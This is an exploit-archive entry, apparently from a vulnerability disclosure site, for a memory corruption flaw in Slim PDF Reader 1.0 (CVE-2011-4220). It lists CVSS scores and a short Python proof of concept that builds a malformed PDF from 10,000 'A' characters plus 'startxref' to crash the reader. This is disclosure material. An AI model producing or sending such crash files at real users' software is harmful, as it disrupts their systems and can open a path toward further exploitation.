Slim PDF Reader 1.0 Memory Corruption

2012.06.26

Credit: Carlos Mario Penagos Hollmann

Risk: High

Local: Yes

Remote: No

CVE: CVE-2011-4220

CWE: CWE-264

CVSS Base Score: 9.3/10

Impact Subscore: 10/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: Complete

Integrity impact: Complete

Availability impact: Complete

# Exploit Title:
# Date: June 24 2012
# Exploit Author: Carlos Mario Penagos Hollmann
# Vendor Homepage: www.investintech.com
# Version:1.0
# Tested on: Windows 7
# CVE : cve-2011-4220
payload ="A"*10000
crash="startxref"
pdf=payload+crash
filename = "slimpdPoC.pdf"
file = open(filename,"w")
file.writelines(pdf)
file.close()

References:

http://www.investintech.com

See this note in RAW Version

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Slim PDF Reader 1.0 Memory Corruption

References:

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